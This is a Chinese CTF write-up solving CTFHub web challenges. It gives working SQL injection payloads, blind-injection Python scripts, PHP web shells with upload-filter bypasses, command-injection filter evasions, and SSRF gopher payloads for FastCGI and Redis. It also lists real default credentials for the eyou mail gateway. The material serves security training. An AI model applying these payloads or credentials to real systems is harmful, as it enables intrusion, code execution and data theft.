目录
密码口令
弱口令
bp抓包发送到intruder模块,设置好payload进行爆破
得到账号为admin,密码也为admin
默认口令
根据网站名称,百度搜索eyou邮件网关的默认密码,发现系统有三个默认的帐号(admin:+-ccccc、eyougw:admin@(eyou)、eyouuser:eyou_admin)
一一测试一下,eyougw:admin@(eyou),成功登录
SQL注入
整数型注入
?id=1 and 1=1 回显正常 ?id=1 and 1=2 回显错误 说明是数字型注入
?id=1 and 1=1 order by 3 回显错误,说明存在两个字段
?id=1 and 1=2 union select 1,2 发现1,2处均有回显
?id=1 and 1=2 union select database(),version()
查询数据库名和版本号
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
得到表名为flag,news
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
查字段名为flag
?id=1 and 1=2 union select 1,sfrom flag,得到flag
字符型注入
?id=1' order by 2--+ 判断出有两个字段
?id=-1' union select 1,2--+ 1,2处有回显
?id=-1' union select database(),version()--+ 查库名和版本号
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'--+ 查表名
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+ 查字段名
?id=-1' union select 1,flag from flag--+
报错注入
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 查库名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli' ),0x7e),1) --+ 查字段名
?id=1 and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1) --+
布尔盲注
?id=1 and length(database())>=4返回正常,>=5返回错误 说明数据库长度为4
接下来判断数据库名,因为要逐一判断,所以采用bp爆破的方式
?id=1 and substr(database(),1,1)='a',抓包发送到intruder模块,选择Cluster bomb
设置payload,a~z,A~Z,0~9,@*_等特殊字符,开始爆破
得到数据库名为sqli
?id=1 and length((select group_concat(table_name) from information_schema.tables where table_schema='sqli'))>=1 判断表长
>=9时返回正常,>=10时返回错误,说明长度为9
?id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),1,1)='f' 逐一判断表名
得到表名为flag,news
判断字段长度
?id=1 and length((select group_concat(column_name) from information_schema.columns where table_name='flag'))>=4
说明长度为4,再逐一判断字段名
?id=1 and substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1)='a'
得到字段名为flag
逐一判断字段内容长度
?id=1 and length((select flag from flag))>=10
长度为32,?id=1 and substr((select flag from flag),1,1)='c',再逐一判断内容
得到flag为ctfhub{59440304d74cfde9ef3fdd37}
也可以采用脚本爆破的方式进行盲注
import requests
url='http://challenge-905a4626f506fb6e.sandbox.ctfhub.com:10800/?id=1 and '
db_name='' #数据库名
table_name='' #表名
column_name='' #字段名
flag='' #flag
s="0123456789abcdefghijklmnopqrstuvwxyz{,}"
# 获取数据库名的payload
payload1="substr(database(),%d,1)='%c'"
for i in range(1,5):
for j in s:
result1=requests.get(url+payload1%(i,j))
# print(url+payload1%(i,j))
if 'query_success' in result1.text:
db_name+=j
break
print("数据库名为%s"%db_name)
#猜表名的payload
payload2="substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1)='%c'"
for i in range(1,10):
for j in s:
result2=requests.get(url+payload2%(i,j))
# print(url+payload2)
if 'query_success' in result2.text:
table_name+=j
break
print("表名为%s"%table_name)
#猜flag表的字段payload
payload3="substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1)='%c'"
for i in range(1,5):
for j in s:
result3=requests.get(url+payload3%(i,j))
# print(url+payload3)
if 'query_success' in result3.text:
column_name+=j
break
print("字段名为%s"%column_name)
#获取flag的内容
payload4="substr((select flag from flag),%d,1)='%c'"
for i in range(1,33):
for j in s:
result4=requests.get(url+payload4%(i,j))
# print(url+payload3)
if 'query_success' in result4.text:
flag+=j
break
print("flag为%s"%flag)
时间盲注
输入什么都不返回,此时就可以尝试时间盲注
?id=1 and sleep(3) 发现延迟了3秒才返回,说明存在注入点
?id=1 and if(length(database())>=1,sleep(3),1)
利用if语句,如果前面判断成立就执行sleep(3),具体思路和盲注一样,这里直接上脚本
import requests
import time
url='http://challenge-6651319dc25e2870.sandbox.ctfhub.com:10800/?id=1 and '
db_name='' #数据库名
table_name='' #表名
column_name='' #字段名
flag='' #flag
s="0123456789abcdefghijklmnopqrstuvwxyz{,}"
# 获取数据库名的payload
payload1="if(substr(database(),%d,1)='%c',sleep(3),1)"
for i in range(1,5):
for j in s:
t1=time.time()
result1=requests.get(url+payload1%(i,j))
# print(url+payload1%(i,j))
t2=time.time()
# print(t2-t1)
t=t2-t1
if t>3:
db_name+=j
break
print("数据库名为%s"%db_name)
#猜表名的payload
payload2="if(substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1)='%c',sleep(3),1)"
for i in range(1,10):
for j in s:
t1=time.time()
result2=requests.get(url+payload2%(i,j))
# print(url+payload2)
t2=time.time()
t=t2-t1
if t>3:
table_name+=j
break
print("表名为%s"%table_name)
#猜flag表的字段payload
payload3="if(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1)='%c',sleep(3),1)"
for i in range(1,5):
for j in s:
t1=time.time()
result3=requests.get(url+payload3%(i,j))
# print(url+payload3)
t2=time.time()
t=t2-t1
if t>3:
column_name+=j
break
print("字段名为%s"%column_name)
#获取flag的内容
payload4="if(substr((select flag from flag),%d,1)='%c',sleep(3),1)"
for i in range(1,33):
for j in s:
t1=time.time()
result4=requests.get(url+payload4%(i,j))
# print(url+payload3)
t2=time.time()
print(t2-t1)
t=t2-t1
if t>3:
flag+=j
break
print("flag为%s"%flag)
MySQL结构
测试了一下也是数字型注入,跟之前一样的思路
查回显位 ?id=-1 union select 1,2
查数据库名 ?id=-1 union select database(),version()
查表名 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
查字段名 ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='cqlvuujgcf'
查flag ?id=-1 union select 1,skxzqbspab from cqlvuujgcf
Cookie注入
bp抓包发送到repeater模块,在cookie项添加id=1
用and 1=1和and 1=2判断出是数字型注入
Cookie: id=1+order+by+3; 判断出有两个字段
Cookie: id=-1+union+select+1,2; 判断回显位
Cookie: id=-1+union+select+database(),version(); 判断库名和版本
Cookie: id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='sqli'; 判断表名
Cookie: id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='vpqyiyegxl'; 判断字段名
Cookie: id=-1+union+select+1,hypaqvwkym+from+vpqyiyegxl; 查字段内容
UA注入
bp抓包发送到repeater模块,将User-Agent的值改为1,再用and 1=1和and 1=2 判断出为数字型注入
User-Agent:1 order by 2
User-Agent:-1 union select 1,2
User-Agent:-1 union select 1,database()
User-Agent:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
User-Agent:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='qtanuxwndk
User-Agent:-1 union select 1,iarnbdnvts from qtanuxwndk
Refer注入
也是bp抓包,修改refer的值,再进行注入
Referer: 1 order by 2
Referer: -1 union select 1,2
Referer: -1 union select 1,database()
Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='sqlyqzevmr'
Referer: -1 union select 1,dvidlvlifi from sqlyqzevmr
过滤空格
题目说了过滤空格,那么就可以用注释的方法绕过,如/**/
?id=1/**/order/**/by/**/2
?id=-1/**/union/**/select/**/1,2
?id=-1/**/union/**/select/**/1,database()
?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ykdtufnqax'
?id=-1/**/union/**/select/**/1,ucyvexdzpv/**/from/**/ykdtufnqax
文件上传
无验证
因为是无验证,所以直接写一个<?php @eval($_POST['a']); ?>的php文件上传就好了,然后蚁剑连接,得到flag
前端验证
将文件名改成1.jpg然后bp抓包进行上传,在bp里将后缀改回php,蚁剑连接即可
.htaccess
先上传一个.htaccess文件,内容如下:
SetHandler application/x-httpd-php
这样当前目录下的所有文件都会被当初php来解析
然后再上传1.jpg,蚁剑连接
MIME验证
上传1.php用bp抓包,将文件类型也就是Content-Type修改为image/jpeg
00截断
上传1.php使用bp抓包在文件名后面添加%00.jpg,发现上传成功却没有返回地址
F12查看源代码
关键在这一句,上传成功后会在10到99中随机取一个数,这样上传的路径就不确定,也无法连接,所以也要采用00截断
修改这两处,再蚁剑连接/upload/1.php即可得到flag
双写后缀
直接上传1.php发现php被替换为空,尝试双写绕过,修改文件名为1.pphphp,上传成功
蚁剑连接/upload/1.php
文件头检测
直接上传1.php提示文件类型不正确,只允许上传jpg、png、gif类型的文件
根据题目意思文件头检测,上传1.php使用bp抓包
在1.php内容开头部分添加GIF89a并且修改文件类型为image/gif
上传成功,蚁剑连接得到flag
RCE
eval执行
传个?cmd=system('ls');发现能够执行ls命令,当前目录下存在index.php文件
?cmd=system('ls /'); 查看根目录下是否存在flag
发现存在flag_29557文件
?cmd=system('cat /flag_29557');
cat一下得到flag
文件包含
这段代码的意思是通过get的方式传入参数file,如果传入的参数中包含flag就会输出Hacker!!!,否则就直接显示这个文件内容。
发现底下有个提示,点进去跳转到/shell.txt,是一句话木马
这样就可以利用,传入如下参数
接下来就跟上题一样,ls /,然后cat /flag
php://input
get方式传入的file参数前6位必须包含php://,这样才能包含文件,否则输出Hacker!!!
因为不知道文件名,所以这时候可以考虑php://input
php://input 是个可以访问请求的原始数据的只读流。当请求方式是post,并且Content-Type不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。
bp抓包,将请求方式改为POST,在最底下传入<? php system(‘ls /’); ?>
就可以执行该命令,得到根目录下的文件,再cat一下就可以得到flag
读取源代码
同样的代码,但是这次直接给了flag的路径,所以用php://filter
传入?file=php://filter/convert.base64-encode/resource=/flag
得到base64编码过的flag,解码一下即可
远程包含
这题的考点是远程包含
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。这样就可以通过传入url地址对远程文件进行包含,这样就可以传入恶意代码。
这里需要你自己有一个服务器,然后在上面写一个恶意文件
内容为:
<?php fputs(fopen('shell.php','w'),<?php @eval($_POST['a']); ?>) ?>
然后再通过远程包含的方式执行恶意文件。
如:传入?file=url(你的服务器网址)/shell.txt(你的恶意文件)
这样就可以getshell
由于我这里没用服务器就继续用的php://input做的
命令注入
exec()也是一个命令执行的函数,不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
这里介绍一下Linux的管道符
“;”执行完前面的语句再执行后面的
“|”显示后面语句的执行结果
“||”如果前面语句执行错误则执行后面的语句。
“&”先执行前面的语句再执行后面的语句,前面的语句可真可假
“&&”如果前面的语句为假则不执行后面的语句
这里传入?ip=127.0.0.1|ls,这样就可以直接将后面ls的执行结果返回到数组里
再传入?ip=127.0.0.1|cat 299184029374.php
F12查看源代码,发现flag
过滤cat
?ip=127.0.0.1|ls,可以看到存在一个flag_17820564616394.php
Linux下查看文件内容一般常用cat、nl、less、tail、head、tac这几个命令
题目提示了过滤cat,这里可以用tac代替传入
payload:?ip=127.0.0.1|tac flag_17820564616394.php
F12查看源代码,得到flag
过滤空格
?ip=127.0.0.1|ls,也是先ls查看一下当前目录下的文件
题目说了过滤空格,那就可以用${IFS}、$IFS$9、<、%09来代替
如 ?ip=1|cat${IFS}flag_2093714746590.php
F12查看源代码即可得到flag
过滤目录分隔符
传入?ip=1|ls,发现存在一个flag_is_here,cat一下没有成功,可能是个目录,ls一下看看
?ip=1|ls flag_is_here
由于过滤了目录分隔符,就不能直接cat,考虑一下使用;和cd命令一级一级切换目录
?ip=1;cd flag_is_here;cat flag_64092643013780.php
由于;是一句句执行的,所以就可以先cd到flag_is_here,再cat flag
过滤运算符
可以看到过滤了|和&,这里可以改用;
?ip=1;ls
?ip=1;cat flag_230682822421150.php
综合过滤练习
可以看到几个管道符还有空格都被过滤了,可以尝试用%0a(换行符)和%09(回车符号)来代替
这里%0a代替分号,%09代替空格,因为flag也被过滤了所以考虑通配符
?ip=1%0als%09*,查看当前目录下所有文件
?ip=1%0acd%09*_is_here%0atac%09*_174762598011557.php
等价于?ip=1;cd *_is_here;tac *_174762598011557.php
*是通配符,*_174762598011557.php代表所有以*_174762598011557.php结尾的文件
F12查看源代码,得到flag
SSRF
内网访问
题目直接给了目录地址,访问?url=127.0.0.1/flag.php
伪协议读取文件
结合题目,应该采用file://协议进行读取文件,一般网址默认的web目录为/var/www/html
传入?url=file:///var/www/html/flag.php,F12查看源代码
端口扫描
简单的ssrf端口探测,用python写个脚本爆破一下就行
import requests as req
session=req.Session()
ip='127.0.0.1'
for i in range(8000,90001):
url='http://challenge-519d54b0e522cf6f.sandbox.ctfhub.com:10800/?url=127.0.0.1:%d'%i
# print(url)
try:
res=session.get(url,timeout=3)
if len(res.content)>0:
print(url)
except:
continue
访问一下得到flag
POST请求
扫描一下目录发现存在index.php和flag.php
直接访问一下flag.php在注释中发现
用file://协议读取一下flag.php,发现存在以下代码
发现需要通过POST方式来传入key的值使其和$key相等
直接传入发现没有反应,查看一下index.php的内容看看
这里是用了curl函数来获取并且输出数据,结合题目的提示
我们可以使用gopher协议来向falg.php传入POST报文并且需要3次url编码
内容如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=00cfdf2c96d9e17e42d7c3960b2cc073
这里注意编码的时候,他不会把回车符的%0D编出来,所以注意在第一次编码的时候需要在%0A前面加上%0D。
最终payload:
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D00cfdf2c96d9e17e42d7c3960b2cc073
上传文件
访问?url=127.0.0.1/flag.php,发现是文件上传,用file协议读取一下flag.php的源码
访问?url=127.0.0.1/flag.php,由于没有提交按钮,在前端里面自己添加一个提交框
随便上传一个文件,bp抓包
同样也是要用gopher协议提交,跟上题一样将POST数据包url编码3次,第一次编码后将%0A替换成%0D%0A
最终payload:
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-5b41e732929f1d1b.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko%252F20100101%2520Firefox%252F113.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252C%252A%252F%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------91439124033859965573385710770%250D%250AContent-Length%253A%2520374%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-5b41e732929f1d1b.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-5b41e732929f1d1b.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------91439124033859965573385710770%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527a%2527%255D%2529%253B%2520%253F%253E%250D%250A-----------------------------91439124033859965573385710770%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A-----------------------------91439124033859965573385710770--
FastCGI协议
根据题目附件给的信息,可以利用PHP-FPM未授权访问漏洞来进行任意代码执行
这里直接利用gopherus工具
python2 gopherus.py --exploit fastcgi
再输入/usr/local/lib/php/PEAR.php
再输入命令ls /
将得到的gopher命令进行一次url编码,得到
?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2508%2500%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%251BSCRIPT_FILENAME%2Fusr%2Flocal%2Flib%2Fphp%2FPEAR.php%250D%2501DOCUMENT_ROOT%2F%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520%2F%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后跟上面一样,不过命令换成cat /flag_7bef6c508e2fc52ded4731a5173e9ab0
最终payload:
?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2508%2500%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%251BSCRIPT_FILENAME%2Fusr%2Flocal%2Flib%2Fphp%2FPEAR.php%250D%2501DOCUMENT_ROOT%2F%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag_7bef6c508e2fc52ded4731a5173e9ab0%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
Redis协议
redis常见的SSRF攻击方式大概有这几种:
1、绝对路径写webshell
2、写ssh公钥
3、写contrab计划任务反弹shell
利用条件:能未授权或者能通过弱口令认证访问到Redis服务器
这里利用gopherus工具
python2 gopherus.py --exploit redis
第一行输入php
第二行可以不输,默认为/var/www/html
第三行输入你要写的shell
最后将生成的payload再进行一次url编码
最终payload:
?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
出现504就说明上传成功了,用蚁剑连接一下
URL Bypass
题目给了要求:请求的URL中必须包含http://notfound.ctfhub.com,这个时候就要用到@绕过
当你访问www.google.com@www.baidu.com时,会弹出以下提示
等同于直接访问了www.baidu.com
所以这一题就可以用@的方式绕过
payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
等价于直接访问127.0.0.1/flag.php同时又包含了题目要求的http://notfound.ctfhub.com
数字IP Bypass
ssrf中绕过ip限制的方法一般有:
1、使用Enclosed alphanumerics代替ip中的数字或网址中的字母,或者使用句号代替点
如:127.0.0.1->①②⑦.⓪.⓪.①
2、将ip地址转换为十进制、八进制、十六进制,ip进制转换网站:https://tool.520101.com/wangluo/jinzhizhuanhuan/
3、将127.0.0.1替换为localhost
经过尝试,将127.0.0.1转换为10进制或者使用localhost均可绕过
payload:
?url=2130706433/flag.php
?url=localhost/flag.php
302跳转 Bypass
直接访问?url=127.0.0.1/flag.php
尝试一下localhost绕过,?url=localhost/flag.php,成功拿到flag
尝试用短网址绕过,但是不知道为什么失败了
DNS重绑定 Bypass
用file协议读取一下index.php和flag.php的内容
可以看到过滤了127、172、10和192这几个网段,但又要求必须从127.0.0.1访问
这个时候就需要用到DNS重绑定,通常有两种方式。
第一种是绑定两条记录,这时解析是随机的,需要一定概率才能成功
第二种是自己搭建一个DNS Server,在上面运行自编的解析服务,使每次的返回都不同。
用附件给https://lock.cmpxchg8b.com/rebinder.html 网站来设置DNS
payload:
?url=7f000001.c0a80001.rbndr.us/flag.php
该方法属于第一种方法,因为解析是随机的,所以有可能失败,需要多试几次